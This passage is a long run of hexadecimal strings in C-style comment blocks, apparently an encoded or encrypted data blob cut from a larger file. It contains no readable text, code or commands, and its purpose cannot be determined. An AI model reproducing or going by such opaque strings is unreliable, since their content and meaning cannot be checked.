8fa32975ddd1e9f087bab10317f95278192bedff9d4744aee112e21709d4de1bb1995a7fcd70773e94857db3837e86a0ee89e8f18ccea7ed81cff6cc419e6d017f25c21e1d34bfe11113715aec2f354e63947e70cefda3349c771d4fa87bf0f35bb1e444ac6db3b755e1c8bde29afa3b89b289f7dbe8b17178b02817c5d0e7cd612351cf0a5a6acb364722a59016f548c26547f9257bf7094c47936e57e75026cebfba4c468c3c27b7d4fa3b4ca9eadc78c1c56316512122037ab312c10afface626ef559aa2f717a5ea907fe6f8f235da9df4f339b8e23880bd2221b29d956f2650a76c8dfd3247a3b409cbd06b484f06a53fb21b57f1f7a8bb0b4ab7b78173a08984982ee406b18d107e454c8c88b8659f0f089d38d6aed379af6ccd46dcbbbc3a601836a8c7e79e0df23a38599351cb84bde7f1451cfac0f085fccbbbcc570a6ae38db4c2ea8b59e63a5bd9ab8f0f8260c14ee02b39b810547602a3bbff2701d243793c86cc08d5747177623cdaf19f321e684407fbd9374c5a278721c0ba7168883ae2ae7b4f092c5c102b5aa16dd2e1a6ea285af714e109a1b7c63c50d081a76087a98fe069e20cc29523f7513703abf6632f3d50e5f80f48fee68e1fa747efd65f415d012405e08cb110569f972701fc317d14cb0e45f391ad84b8179fc6da763e62*/
/*f1709f9017387dea5bd194872d5e725c4b120ded3dccddceb89e1e884287162e03eb614396dfee4a5fde805b386495459bfd67e33ee30e48ffdc174ff55d090955891764573c9756bed5d17fe1338c04e38ab1c93ed40ea05d7aa2ed8de7b8673617141c3a392025e9f8ca70356be2f2c1cb7f9d52f0835c60f253cb8844a54b88dd80a2d6783f25ffabb461a67032e7ad5c786383e0d2b804e9386373aa18f65bef9667818d820b994cfc70cf0848492e3e08f6c2043c7c3782b1a570d648ea71f5b41e7b76b5334112b49a6fa1c60db1a2bea8e78f7b20cff540f68445e4ca5698ee55410eb03fa6cc951b1263bf533e458a3adf1cdd35377f65be2d4f1ff35a4c5562819be2768a3fafec08ef17c60ab9fa7e0859d6793ba7c7673b454b0888e48d5f2cb8ad947a3ad1cee8b8d739ba85c0bc254344fc2006c9c12ff18d1498052cf4bedae083ba5e33c4487da7140c5ee3676bf5e5b2fb0db8b99467b4027b4329fc405151c60cb3e67e9538c0e867423227d9136b86980fae2a96009d6a59f80a571c8bc6f71b24d4aaed0cba618b364187395786259c726e9d322190e180c96e8a15f4122855d5aa1a3ca3acdf8f6d3892b5448271e55efea00e0db0bc2e6e901831ff1951c9d1afb795caf55da5865ecd11896ba68072b21dfa28fc225a6d434d273b3d37684fcf07611311a272398d65ac04eff89c6c316978c50a9a62b6357e6915d9a6be269fba7e4d0c28cd27e125647791b2cc0688f631cc33be18dd833a06bbe044b70ca54f087a90906838b734ac67713b2bfaa124869c58dc888b5ce51fdba0f1b6dacbcffaa2af0d6d1900a64d63f227d63e5a939479d2679aa6831b890c4175bbf5a9d16c48d3d4dd0aacca0fc81454f8b763f3ded34a58a027dfe8d21ef81fde9448bf95fa97f1e5ab949fbb498e87cf14e990d1acbbeefc94c23e6af8a34e9dacf81aa19feab95811df2f9a0e683ca3093d7738946e43fbdca62ad5ebf4b170e1a13ca2625389fdf02645f68ebc92a1a3f8f1a517974acb84fc93d38bc8646b6117557cc25ac08b9e6202a38dee5ed776206e175034d89424d989b2749ba7b2e06f1e9c6baefb05393ec50dd202d04c637f1e60ddadedfc0030873203aba86ec388d222063e53c9d2423b4b33bfc7decc9583acb1b69c19306f61881a20b1750ddb5fbfccf59dbaabad85b04b0f97d0af1250ab49cb326b2f2ec5fa447fa8eff6461811854a97589c4ec4db84f708cf36de255b58bb481ea50c19e49d43053610f7c51a843c20c94e1fb76ac53f53471a7c31167c7b21473849532a244f1bb6ff79eee6fe5b93f91fd122d3d5ccd8f6eb2299ea1d340472dbe4ca7199a17ae2c0db1fe3c8fbf48cc2399553a1d27f922c810cbccbd8f339d0d1795faca6c2c0f9b8ffb40fafe93c4049a2ea6f2039def78ca8a39ceba8b17d196899ee0ebd73f34a2b27e45ce0d55dedb2eab731ad7ea7fa0afc62144758ac3a2c3f6b1d8ac6291f1cfba7ea494db4cdf5291c61505ba1093ba5389f67a0db9a6f8dbd75d78e0f5073a5ae33dad7c57cad44d45cbfc139182f6770d6c4dd896dcfc54eb8ba0f5f36f75ed6ab0a31e0778ac7c1234d18d3fb013d3b8866c8a6eb01d55a8dacefd747de630da5863b4aeb0b5c91a8eca4bdb319ab9ab7e971d701df135f7038fb2d7572f6c88294dee128cedfdfc02f21369139ffc46fb9867ea538c415b9fe8313cbd18d957b69cb16479c21f486a4ad36f186d6f0e7f50c49064b41a017e35e4c9bc1e2b4952e2c4c9d27008093cfc9f2320adfff1d4805f876b44318a0aa1f623171f792251050e9e0a1bcbb179fe4d5e8a46a12b1d3a92821f5e984f7f925d771850b2422bf3c5ce446734b05dfcf7e83135407aca03545372e8c3dec71d12673076138c2a615299b7ea6ebcde75dcc5210852c86085483d935a2eb04df4cb4d8137ce97132a49146e8a5401a7fc6a890e6e1254a2dedf284d89675cf670154c09a927885cb54451832441dca86ccaf7af7dd4f3e07a8139ed69a7910263fedfa0f6d2086fed018867a78a28420fe6748253fd27e326a0e05085103ad25d6ca97077139318eca376e455e2edd608117bf108f8a285321cbf71933ecc2fe281132b760f0aacff67eb968f667e4ab3e427c1cc60cc051d5d307836d28b3198b3cd30e4e2ce8b7af7e86725e4e72b65354960b2d907ecfa87c8ebe19e5f4c09e13561aa5eb330fac305f402e651043d486201930ab82c58c7f9b81c6d975122db8f2cc7c2d95f6e1b02e33b3bcfd622df89afe045596f6800108ddd121711af153d68e784884f985c855bd49d1a2f53cd95f67c2cca6beeb9bf1159890a3096adda3d7193fb617eeef743bc3496a07bf0215e8ec4f9bd117a54ded7f02a93b2bde01f4ba6e9a5e698083d1caccc0e625f66bae16728918ce94735778dfb195bb41baea7357b5caf89da6954e017bd89005983c13564c47411d5913b64afb29dd3bf40573b684a689c66a521f329ade274913b057e4c744edd242cfce63d688d251d682063aed889a4d0b503962b5e4654853f852e2c8b5556742bc60563d607314a5f5998f83217854e526e5f9ed07db896f38fae71fd16dbfe2e33fefb8de7a2fa36e3302c8d20b30789085451191d94019eb6308327096f76023f9a508d40a91eaaa8204e0ebadb26f0ed474f5a4146ac08e6a759d59c6ae046048944e47499ddb11e2d0b11401f0a0d1dabd0e99894d2eba2200fb91eb7d6368e734227fb4c2bce04b76d2632bc983492a86a5509bec2d9c3bf31115fe8750cea857637ef19fcf09d26cee49*/
/*947fd751544d60ed4f72e60326638effa6e890857927084b59e7397eb057de3b4d61bd132b5d6cd823b40a9543ad46fd6de032fbd0081da8fb9c70c67014da436bf1b09af865e801a8bc755473397068cf1df2deb2ff85348e24b2702ecc0f11a92bed666ad49edb2fd07e09e5410816e1846c819468d9046bdb5f9a1a46040cb88bba866a4b44b8292baccc52e40d05f69c9df64034be04abaa31a79e74c18eaec5172cffdf800493dd7ab4478a92a4ad1cfdc12b5559e5677d5ef93195f1295af89887262cb91f04e667600bd8acd2cb4b825ca173195a76ea515cd6834da9bbe79e78db5b75c7cef75ab09d8334ef4eea24b3c8c38286a69e6e8502c950c36bf57a443558b9ad4d22c3cab684fa59d3e7cda50292e10f7811bf89491a8a4f0d2d8d0ea7a8fdf7c63f93e9d819a42fd65eec99a1035b3e787a29edeb1a30f67b90560053e3f4df1ef2b2e345752b2a164720cebf138ca1e39fb61d80afa5acdef0a74da1ddfe84c3de2e357e06628a54f4ef4ae14ec77938a4df1a46514993f66bfe7cb006a78db2719c7da4124aa9fc10ea44391d83937bf740a8ba8bc2e8879d9695ddbf70b2c01417f7474ebbb9026894d750e2416630e476021e0a66e58d1d881a6ec0b25efab24b77c413aa79a7b97a189c45f317eb65000058e78922bcd99ae90851c3bfe34b3b153ecc0f10fa7106a3ac3281efb0a076da6ec716e1d875ce7d196fba2554a45b2e4494893923f8a25a93811543ddf1812b92800cb1c3b31e42dfbf3730e68965e7b33690558297d143c0908f7339805fc606a600033933f0ba7ecdc8c264dc29600f954afb8e033531db6e9cf7eae2df15ed7fc10ca49fe17d7310fb2f85ad246d419ae2a23c5abc30a29d74a7c1fc3ae765bf8c156846c4c4d7abb83bde6f2ac57a159f5e9c161b8ca9a52b56931ce076dd0e817be45f9ffa9be0c06261565545d5b4f8612e6e3a35036662226af25b9c79fe8c5419222e65b9677c46819e4a6437c5fa073cf843e17d33aa623c918db1b11d018bd0d726c891c03dfb0e737069a5bf6e2f76c953038765ae829f992e0731e495472d17265cfb1a7bb907fe70b84c0c5c47e49836e9a96025381499f924e031237e9f212ae2c7743fb55f0ed32099df6b36a939a9928d2a15750662ba6b7cd195b35c066bf9e15085b1444cbb1f22c1cff681ddc8467783f7616f07fec4c6580e1df421839c5ccccd4747973eb182916c78f9dc263e499e8c26140017099077273ef382e598fe44ce77f5049a62f45b755c6c3c54719bf693972a7cb6468a23b6906f245fe3cf90af744c1284fd9507cc9b24250745d344bb9ff98cd141070e4f6c8394a2b953e4e1e0463f34fa6327cf17684465b9a95deaf4164766019133186c0b0ff899cf111fc042e24c32132f4e53da445850621347e430d310a876618f1545743463b9dadb4635bae5bd9aeabd5f9dbb75e4eb2723b2e2cf1905ae296f67c8d7fd8ab57cb08f02259f7157abfb8b631bf6233f2032cd0bd33b9a483ee011791312acf768b0edd75373267e30931661f6cbc72078a9c5bf212c098a8f74032731876d6c4385cb02225ffdd71e8cd647f556f801affecd5de9520aa947fb2ef6fad1003a9e2b5ae2fcbaf4c0fef54a098ab1f2887ada8f77c5636a9be09bd5fab7cf87e70b46bfb4cc0658583f62a7d83479e4b2124e4f927b4e53b4ec6ecdd9e8a61b89c681d6886146b9634b7461e30400738b57e963beb04e0bccc97d19281729af0b04a2de80003c4e35f083003e9b231c5e64f44da6ae45842e8aaa665d6ac61cc14a2b72c2baef6519b4a399c4e546af5c840e748581e1b19830885ccb2f3af4fe60849ccbf94687f8d0c13f8cbf3a9d19e3905ead05ae7f6c5bc01a7c93849b7d82e29cc850409bce1a3e83e0d8165cff404e7b3954baf2182b757691f9f34b912b64dd87efc7d2fb7ded42644b48c1039651e3c9ff646aff85f3995478c879e77ed3a35dc65fdec671e70f2501f7ec848ce98b111360c6bc8457f390654c85fb6fd2dbb1dda9048e03b3c5eb8352b6cd92eaa58bb42e37578ff214fc0da50287994357f3a995758a95f582155d02bd98a3da63235a8d4eddec59e12ccb270f15313a384373e908b690d47d1fddb19c69959b1a4557d98cce0146584caef5a439f589526b21c7a89f514c3bcd2d45eea2c356c48944ea777ff76e5541afed51b78b63131009e7e014b6f7d33918b80ef13997f7df3e2218dbe6757c9e11f2388e1b46ec509e46f7f76a3b035150b4b2b84bb0b08d1081a975608ebad26c19a022f5db228f4210b7321199d8cfbb930cc50046961254cd653d86dbcf42dde54cf829f37afb9597a3f91562ad7cfead1adcf12926a90c324e8fb7537028abc053b38b720557ca791bbf5cd0bc3db60a3f07866bd92af9f1a9716c562f791254c9d3fd4a07ace091a7b992bcf850a86ecdc8f0a046bc325ba6c15d7f086ddc81270c6f4efe1690d5fa3a9876a1cf2f483fd30899a662e74e5f6895342cba5be498004f72657a2fe390705344f79db078d2894fcaa0f5cb40b02e71af36804f4f9a7fdf1af45772aad8f089e3b63586a15513b44165a3f311296eee9e5d7c29d8df20c66ed1328af478877e0c91952389ba5e1e411cad35e1cbfaebc8485509eda4c6bd429441488b0275aeb9c76ff65e511550f7f934b7efbd2d03719388608f38be8bc051464ffa63286c875f5abba333a3af6a4da59617d95d17641fdb89d39b0327ff90580841e5784e83f8221e86eb66ee9c245f14d0f853529919ba4449e8cf3e2093842b246125b0d539*/
/*32f469652e6becc6149ac98e943b697b507a74a95c2ec9cc7d767ea893734864ec0ba14a2c660aeae603ebb2615ec8ce91fffc136f09db6d93213de5581440953f44cd3f068b679e9abd4e31c7145c206b76c620f2a3ef2804a17df813841ff53f316f3ec82d49e3f85cfbdc9f796f0cf1785bda2a7e23cfa32afbdb23856b87865e50fdfacc3f40fb28abec57d31bedf4826672dd9de7be34dba6aa13eb99d20645d59126f564c28960008fd76154469baf278bce8da9ebddead91ef0896af24ce930b0dd416200e8bab9f765ee9dc37e3baa739b959a51b45d2583be2a5af416d5f8515f39f699c1f30fbea27f65cfee186c1004e52e930de9511aac67aa0edd511a671058ae56de1a2fbc0de8944b63f75fe9bf38c76dcede7b2ce85891fb205797752d6438aeaccaf976c9f4172b27dbc80ac62674a294aabf63b53e267cde4ae6f2ab311a53dafba066fa0f2e02507516ce305684f49d2eee4a93e24d243ac908c9b258f2811aecdab396dfc1b864bc6e68e585b1e2f7961fe6d8aa096506dec915b99cc783c09a7f07ea3c8c533bddea8b22c2ae4bd364ad94079596fd03a6662c9276f51b0ce19575be87b898e7acbc279fb1464d7d1ee66a3646e1c2d7ec70cf1bc020603b93caf332e9e0267baf0d76a9c977130065a55b886ca119e30ce7b2ea237d2987cb1efe8bd8c353d126294409701581209eec4fb640b7c8d93de0ecf82ef12cc683f3f5feacd32f92f4e2fc3578428aac509c893d6d5a79ded497f9d1b1c0d53f6c075c52a489d06e1b71b7b3a15c8662ac19f8330c63d1da238ea0551a8b99339a22c72de4c1a8d5adf23f7463698ee71ac7084a45f3182b2281d2babc745be005f1f7893cda8652a7dfc16e6245685a8e34efa2ea76c4eb20ddaee6bd1dfc074fdeb64ea572b6196f19dceddd4cd185363e7f4762fbb0af0be1f7d9e91987a848caaba294293012b6bdc9a2873bbf194ad16b853152f1b1a8eb9b41feb661ca04318f7f893bb596753e7e2ddea1a548c15033689f2db7bfa0da205d241d68f501b7c2198ae0896cd565959aa4c212566457afd9404529e272340725a93d139939018696bede413034aa14550d9ae838bd20a0d66fb3c7f1380a04bc536886faf87ee9e643900d52c533c8d9b6e2322a05e555ec7d3ee185f25c2fa754220dc96657b203093b761e3d434a4ac26d6a6e75b03b8e68572812136411c9a01230c4a86dc8356deda15f22236f87c899bcff1ed445a83ed8c35df023a409aa1ff6a3f03dda2c9b1f3316a632da84394e02f87f2fd45ad2493f4d7785d4e7964b2c27d428e0961aa362e766175e1939fcfe0eec16127b584dd52052960416bbb75d9431d79514f37be8f527f76385e884e6e4e7bdc280e490a5556e99874f77336cc104b0ef7fd251ddf6bd3c61df8dfbf539ecf270f9509580732c11b6a8bde9e22ac9740ad488ae4d35cae74f44bc757097d5706df236c9f47eab9318f1512275db14c28bb48a0ef6d4b010ada92b6ae1e7c0244446c80d2d6ffa80aab71e94d4e7924479b444f166a2ab05ef7beb819bf255f061d30727c5483dd0d0564d62aae88caf7da043a85348870657d31dbec488bd8a93c0cf8760aa6a97eb009422f1178460daacdcb779f53e9e1f43e87ad525c9d669901aeb3d2e027a0e9e2e460f48bd9245d82e033724c5ffc2ed7a720c0c1852b374a79e6d57c7b627dff9e371465cdbe87a03c490cc34147d334090462b7171c731060ba0065888e16c76de999f4d58f57742741d6b5f5425211a155634d7329e9518c646507a8056512869f1103800aaf3e77f6385ddf1131d8ddb90be57fcc0565b1b676415ff69e9527e106069f862d05af340410857feb59789114da92bd0766369702fab60b3f7bb2bd2775609b701e4a2eee66606202f3b97ec09ae80a13fb4e0775e5081c02358f2184c75db877897ac4a17e23caaab4817c5ce55a2bd97ab9a7b30117e5a12fd0a0e8d59195dffa6f2d980fcfb39e31b2d01cdd8df85a4ec84b64586162100f092287d33a3a608589412c493813c7c121618bea30bf08439a8d813cda433227f12e89199ede65fd14893063f163b968ba86ed5edeb6685168d834c9e14a97a43e82e852e39281a55adc94483333a90cdcb705a54dc208d3fb872c1a6cf9a08cdae7ed059972dc2f610dad3f6bd9ed3b33ce9341b1dd2b462a19e5bfd0ec746e4080d616ac48995a04ec2d9bdbb9983aa31eac5684ebed2fa07766160c660ad3fb8d4157cfb89463710ffb6dbd26ff9ade44dabaad0bb64bbd4b25e12d1c7367f4f90582499cbb9dc349a6186c2fe52a5d04ef2650dfd11031a51a68c1383c38dc3389bc89d00b01b090ddac4207e48aaed3a6eb685d88b159a1fd4c5e624286c2c982719113fa6b5fa986530d618b249682b149fe3034c7379b69cb770eb937234af95cba9f256c9495f4c4eb24b4146d53a3fa66a2f4c1bea81262c97c72aa145f37a78a590f02d36c742080c278a97bf938b79be992d4cfe9a6082a7fa0b38a771b54dce5cba1890a35e02334c573e70fb409c894a886fd5ef31d9c40117facd357c8c28c3bce1ed82db88d95e201782980da7ba93e8f19138e7e063baf442cd7ee3258eea91511a22baad8148957e9fe5fa3ef440b6adccc57a609607daa1417f9700514b8ac4caf2d489c946ccef3a6cda8a9e0217e854156b7ac9a5a925daab457fc0946361f6079b32d08a4593a5770768aea79ecd178b13783ba593e566e19f1ac2cac5072d496fe4deb1cb2b911ef93268669f69f8cc1c3f93d210ab00f777a276312a853e17*/
/*fb18d9cfba5dfaf0690f6e0e7d8270322c6e769330173ce0af8cfe67a98f66fb08e00ee859c0bcec2fbda0730a6ce1372bdab6e5858afd3b477e611b7993b379bec7a4c88f1ac3134d2f606241a3b26d53707da83e922fa15a36af6503694dbc24f8c55b4de84f7476fc2c07b998fd1a3d0834a29b6717f26c770799415b7a9e8179ad51bd6b248ee02977767b49d9d1faf939a423befecefe9a1dc1fb89d571bea1176e861f3645f2347746aae33e58f3dba07f6c3621838314c582ef276861c2ecf82e46cba77ad1e56f5d596e832f7f9b44ac16fc56f77cdd337c0d42b3a2a478ab7787867e73c2b6a8289e0809aba4931fd1e452492befddb1132748834c8c35117226d03ed227485779b0f84710719d8ce47ceb59380bbe9b4b6c68098541c22a7d1d3a448af8ab5d1b43813b5488c975b50dbd4ddf96f1b9896bfc09de53e66b9e30c661854e5fd6ccfb7a1423f096f640758761225c1aacc57435540f35039d383bf49c01a778613a96b134b205bfce90290e7ea23dd0df27d09c0c8ea0c09e08c5b661464d2ad17b63ba45f595ec4a562772116d95fb16ea86218ea36028a635a82720d7f9f6832544462421ae0bb9bf90920997a6efeeaf9b42f23297b4f88f070cf929b0b445fb9d99428c37e750de82e3305de804755d77a17640358a8da46ee053b962d0331889f264c0a1ef00a19cd28a7dfbabeac5759dd4789e322d721de66dd10eec95315a0e99d952dd44b9437bd200268b0b73a86352cbd02833134c35278f93e944e93d4cd745975e2747d4a20b5e86b231ffc039612c8e9eef7bb610879c28d2954120d9299bc3382eee779ad0de4c360c220a4b81bbbf63400dd255217c2bf09032aedc1cd2aabc3e88e88e927f8a16e3205814a0c7a2f02303c66801a52157a1fd9e9dfa1fdcc6995be98c8188fb00c592bd8c4b694d0fee94a208c7f8d2608e4f7da35f326e0e6d2b6e954b86e24b8dfd10b50d99b58ca0468e84725199fb392b638909ac3b6c874b9a140cb7e20fedcdf5a47ef97fa961dda225464ecfd76a2c19ef94dc226e9892bbeba2c219638feaef57decd1da892a0e14b8c1fa51a1e802f601e08bc61d5d0059dcee14cab5fe10de4a033ad282c85133d53ffda3fc31c9b067b162d37dd8c35979de238cf78b0171480e08073f29aa23bcc407d12d87b9b03a6948bae38f2821ad6803146b22113f3cad26dba9bcf575f6940d21e700eca8d2e4babeb7116a0809008edcf1fe99c4985e892acecfb45c0cd22aa084582e6cbad30baba649f20490bb6e54dddac09516addaa5358eaf1388ca8ff5166d24bf336039bdfcdfa836799dfbca568a50ab45cc5b14b50494a5c34f08128222794bdf11f7082edbc8e00ef4d720e49fd8ad76000cbbe19c3fae0746a2d94655c091ccda07282c3e682917af544184a7436fb6baab858aa72620717dd9777062923434d65887ad7c6e7a2a87affad1a055a0ec151827a75ff29b7c901b1c434ff4e0f0e8c0fc83041c806965e2726c954bd8b176f14a4c3851172f6750929f3c28810949e535a8ba747e5002f6ea6f743cd0fad6f0cf74cc752dd7c446bb7c0aa979919b8907d05c113e9b75f62eb44ee7fb64156a8f0005c9c470f4f6446f143ce528dad9155313bbf3b6bd1366056073c8c88e68c9318d6e2cda2a0a02f8f8bc90acd44f7abf6471747ef702c3227185f90736462fc470baa0720dd9e7d2037e73e45950e5da101d54c515e36c5197b36b1336106631d8d3862e4974d2f8b3cf8afb9f21c1972f70c770a3a3578c5ee29bb216e30996cadf3eca5527a7eeaf110a2400275049712ca168d75a21082f2769ac13cffdbc27d02e0e6637d354de7be77385afde796409da83a6323d0be1f21d94ee89d17e52cf0b53e3292dc9c32622bbf5c8467a15228aa8af252b4f513cc273dd4b145ea550ffd5548efa120483d2ff3a3b19d2f791f0f01a10bed8713c769b1d41b7dabe6425eb11a2ee6adaf8be99b8381a8930fcaf839c9a601f46a737156aa33d54dfdaa11929478fd03c612c4b302918f4f197ef1662a5c69eb2797af17f8cecd5bd878ffbefa5d18c15b5edc08e98bd9df40791d82c324d79c728496e9c6631daaa87b6968248dec2540bf44f7be53b2718b45daf8ac66f9586e3d4db9db07fdc2cd6c8e18e4420956639740d6ef3c16abc16d24376db8e29a9c420b252bf58ec0e78af19e9141b7dc18ecdae34b8b3f4e3aedbe1a50fe8e5e2bc32d87da3f6b892b8d840b7629c7c822b721d5886ba1b7e16fd3cfacec595af1589866e7dfce556359e326cfaad7663b7c0054a83eb1d88e320eef4ba45a2de876e4fec34ea6a432a5f54c0405e80fea69d77991ecfaea0643a0cf72b1aac700935d59e593c377867a67be6f45e986b145f286221884db5ab65fd7b767c268ce262da8621815ec14a6d3d00dbf1bc1a7dc61f7a46c08fe6222d01230f7db7a353c6368b2bacbea94fc4d642e65646d8402003689f17dfdc721b695243087acd94d7a26955e96dba2c526d43f8efc120908a8488cbe850bbe53572e3676a65bc1f92283aa8d8f5bccbf7c6f12ed70d963f2d7e75433abd6f4f4f6297f162b9e966f6046ac07ee66ad7de42fdf79f6aa74b7ccb3f9b36327e3c5ecd00f5d0a245cb111cf424cffbc11c93aafe094bbec9dd6c442d75baea16c363d81855584efeb5e3ed044206f184c6c9ccf96825edc90cc77cbc5b09dcd2e1d72d002009aa7aac36ba7585cc5faa56e424188ceb246980fd60cc4c39a190cc676810a3b68a01f83ebb625dd908b587b5aa0b197eb01056edf3af7*/
/*7341f78a0d0101baf01b564b149ed9198e260a0547d49e323204f496443eea73e75d17fac3c959ce2d2810e79f69b268168d255b4c885ef9bfcb03bf181e31a6a5c8f52956f72c04a5a8e03253b6f2764ad472edc9af0169a4aa890a30f240a9a29770dfd5ea4714c1fa8e41806678c82d3151a3ec362b1fbc543e6009df8ad6aa75919d6e5f1643dccfbda1d493f551fdf9d920dc9af2b7f1e7bb7223951fc4b3556c69f4326fe35f1bb7065993c049054a3e4f10be3292f09dba69a0441319e9502bda85298ade04c9e26b9021ca64183da6cb780697478b2b928db244b4985dab4dd729cbaa067a88d54baa8d31257781f9c50d3c76b59a3abd8c0d8f78d7ba8dea946ba7b5cead3d2a9cf56beb31005671471db49e125fbf4bd5579decbf2a9eca4e7f15b8c17afb389748f020b3c70b78a9715b169fc80a06aa085be371c00e5b9affe0cf80fba74585725bebb2dfef0a56d23e6f7e8824d88821a67a83dee8c87e7a7141fc385e9cb51fdf354393bb085bad38b6fb09253a0660bec020842f51db261cd350953de84d10a0d48cf570de4733090ea14c5c7e7de8b3795927b9d5c2daa343c3287ff52562f9442bf89e92e380fe96c1bc260d40eee1086bec3ed1c52c87a9ea745e6fbef88aacd6bdd6b062c459c93ff6a132512363b6a12fef92edc402afb8d290f39bdaaa5b0ee1ada793dc64c64d9b1fc6c5b6fa2fc62cc45bdb6b8929ad55c57554fd69dbbac70e2cf6de5c189d965172d6d18920579932fe0c2ecbe1889f9804833e673a9c663b570fb417a707825f2b1f2e6ab856b3810da1a71b23445ce8b1a7a44f6a9710207e26ab0059af1b306743d04f3211141ba75e3495543d7606f2babff809472bfaed68a683e4ddbf4129bbc9fd196bb2edfd04126ec5e8bbeeffbbbb18fa71353e8765d7f5651e07df12412067bf257ab29109b8348006dbe660b297b26b21faedbf6e48c04cef33769d6ca072ada6bd2c983b3fea544ccd33112ca7ed41c1e91626cb4e37c7703fb6de98c9b8799dea86275107b3f281c8dc8c5ec9f43d917daa495fbccd767d81b691af268ef2d3dea2e918124fa97d959e84f2e04364595b5c7e102b61ef6c0d187b8ce1c132db37eaf201848ec634b9e8fcef776073d272ac8303af8e71e9faae1b5f951d85beb9f8421f74a03e52f648a55c3b42e023f630be5a2a33caa6ab8dedb008dc9f461f4ab0bfc04502ee4e4fefaff5af2cabe8a8185baa6ca146b7b2b9612c354ef3f8ae61bb99c7f3139ebf485f669c48ba9d0fa33346fb417b0d48b13ba9ad95c98b3c80f78513ead98024de4850b9c086b6c109ccf36714752ac5d8e079952ac77ad306b4c10a68e1983cdc92869406047675fd9364f4b4e86706627a0caa895a227fa4f0b4741639811124b7f2cedc63bd36b1ff54c88e6b1725f68aca0dc602e42cda0a4a32340875845a5b10cc745b1592b4aaf0097b9f818cafb1f59b3e588e611ddb45121d182b8792df5ec752358ff39a1fba56970174d2b4b4e883fd5c594e0683821415ad7fb4cb0e65f5923c9b3ec217e5b9d5fd857e3673966fae3d80ed33e40282eebaa62b38a3f6037393cb2964c10bf3bdf8c2435473e7f5eabe83e497ee8ac7632c89fa3d79fbdeecbbe62a5de9835ec65b8a1c86bca5a933b0259196df8cbff46a374d2e0d91347d665797f326dc54ce06953f468f1fe707da0d2de47cd0a0c49968ea294e6dff0ed10098e77df0177e39278e3aa9047e39d9ee5221949e5e28db436e139d2860a9d36b5fd62c5e069556a251c0286f3eafb9c96cf53a515e9b7a08b187670d37da32a01544380ab10510ca2539d09e3d240ff7ad504fb5ab89e8d938a2a58cd0de7436e30b26bf4f1279d739fba1860c79ea28c8ecd192e1e06639695ca27c56727745c72f49718edd80fdd83b9cf7e511ec084906ebcde5ef619e2c92f5ec9b376eae326679757a6f4bb02fc7363270f8977aeb4cca6418c14168957d0a7dcd3d10db4ade7cdacfdc6e5a6e6f9d546f3caa4438a638fb9b6f29d4fcdb138c8bee122e1b6ea1aac21bba2fc78b128cab4439c0d3bf92f4580ff2f1ed6d1154c320e5dfc3cd8572d7b362df2bda6bfee41b20503bb2dc0ed7e68a510f50000dd97f3a337101ece735eb7e952417e4c12f6591f0bcda2dec0e58c7ef5324934e5d5b3b206eb9a9262653067ffe97daff4d3e49da0083e6115afe5b22972f32c7b9a8132bb880be1e7ce36085cdb5109df8aaa99573c307024722a804aca291ebed78e23423e6c4a6beeae4859611dadaea595634b553b20c25494efb9f56f9b7056c8e3e48a6869bc58397b4049124f4ed3a4d2418bddfea4872b8a18000747a124cc64a5097b8ed94b6df174427647274d8e46a3ac6071ecea53294bfb487e2478008ba5923d029166e0e04f66c2734d622f6b1f98720d2f31177f133af2ab4f8f1a3961af84fe45c93f4c44f7b3a761350444d2f7f5657c5ea8e6494ef38c72f8082ff10c38cf2e4c3c5c16b8267a6da7497f09c52e869f706c83067d5802a8bd16a5d981183e681af0dd6bd7ae157518b7e7d926d0ac9a9cde4429f5f2a63d9dfb89a9499f3ffb1f8bcdd8e5d51db0ceeafe5fe4d75940b5b753d51dc02b7475553f1a98804dd133f80793bfd6eeada5b5faa248d4d9a32ec8b3bbf5746053a067e408d98140e33640fdd630e5b31d8435521f33027ecc23df7d8bd9dcb396717eb9a177f5e9a70411692e9f6c3b831db4cfd2f51ea41eb368655d4951e74a6d53ac5367cd31b3b6d1aabb3828433bc6803ed71ad1a3f3a7795ae6f847feffdb747*/
/*d15dda12cdadece6e72c869ea2071fdaa5dc4814fa6a60e0c94e5c620bf1e0636c4a22d2c1f69dc8283f6f57fadd4823ab69ea9a9de7b12dbb7fef370e56bc4187854f82b67c540ad3043c99624d6860d0e5ba3af0c8f644dab870c2d319b52aae51c3c61f605c4414cc39c8d23385223dd8db5f81d460cc121064e3a96a3a391b38b986eb758ed9ec968b1fe983ccace45fdcb3043a2cd7800cac0e98cfc05e9096368f9ec82319aceae4365c7537d6b21eba34dfa4db4b50c92fbbf528e627787b5bb255335d68a69866f1c9be8d2b223f054c614b69e7a3f1103f207c5e4978e982db1d805c61f426f59d83e745eed9167090775aa8e970c32d2f0222263d72f52996f77f61746a5e0310d9ba3732a555222c901ff793d707b41d53de68190d6459839b750c770aa207425f2d224f0819b73eaab07b94b5b70010e086217a8b1a10beb72f090233ff48e16db91fb4faa2f593abdc9782743ce132446d7f868b02e80d85a18b51791337a5b92053c383bd033bfbb6e124606d0bc9e33dab06405225f3b3197771be95f342b5aa3ba28de22b30df78a49d0f4dc9a7be651f78bb791c0c261b894c23b00a3468b55f6380ccff74e608d44514e031afa984b0531f55763aa739cd8afabc9f114d7a35e8b5d97eff4786e27979e5c7525bae2c74b7258f3e5c1fe029a0550feb77becfb35bfd6a59885007281a6c5079e4b8f93b19a35b178ff299e6bedd513a41bb8f658508f169e2029fa08bcebd886f4dd5b00dcdda4287bd3a4b933256238e59d3751ab4ea6e074fb6b9ed7f32e2c5c8a8b3798b6d335a1470f9b967c75828a53182698f7fe221949bc41088d4c0a13bbbb465060f453896ec2124ab7263fa6e4f9d5f3f3de5730d26663bfa8f97b6a574141ef1078765e9ad2ef09fc257cb595e95f6c02140759d18a54a99941c244a66b51c51f019c07b1dc398ed0b7f4559607a131d812a630f7697801d1387d0f4b62886d20dde9e2953d662ec213cbe2e9ea808ebf4702d41014a69d33fd7a70d594b252a578b4aed8ba7a6d30141cb08f0086e3cf744db395f945f33fb33c48d77a09ee50ccd4e69d4807343fd8a442dc088b660f2d33da58ba889a67efe28bb0015ee49b2b55c4ec082bfe75a0d94a91780625a3bf45764ac8d631af7f3f9145209460b283e31c13b2f61754691ca93496799734f85ea4c21d182312df08304441b867d13319439a4053c36aab3479c1fc5543c1e40d911db953dd5f3cced3bc9ab841d89cebeaeb8cb35e957348de9d65ca0f909a1b1fba984bb1ca5eacd8dab9f1a6322d6af039c42b394f47f3309c2c7d7e7c9c841a8ea7c491f8d0dc22324ecbe6997abc00a93cfe72b2fdbfd6cf653f782b96ac415404e735f6d3b08b5b32ae21ba737b1c99fa2e106f7fc076ad1cf416dd35203aa51bc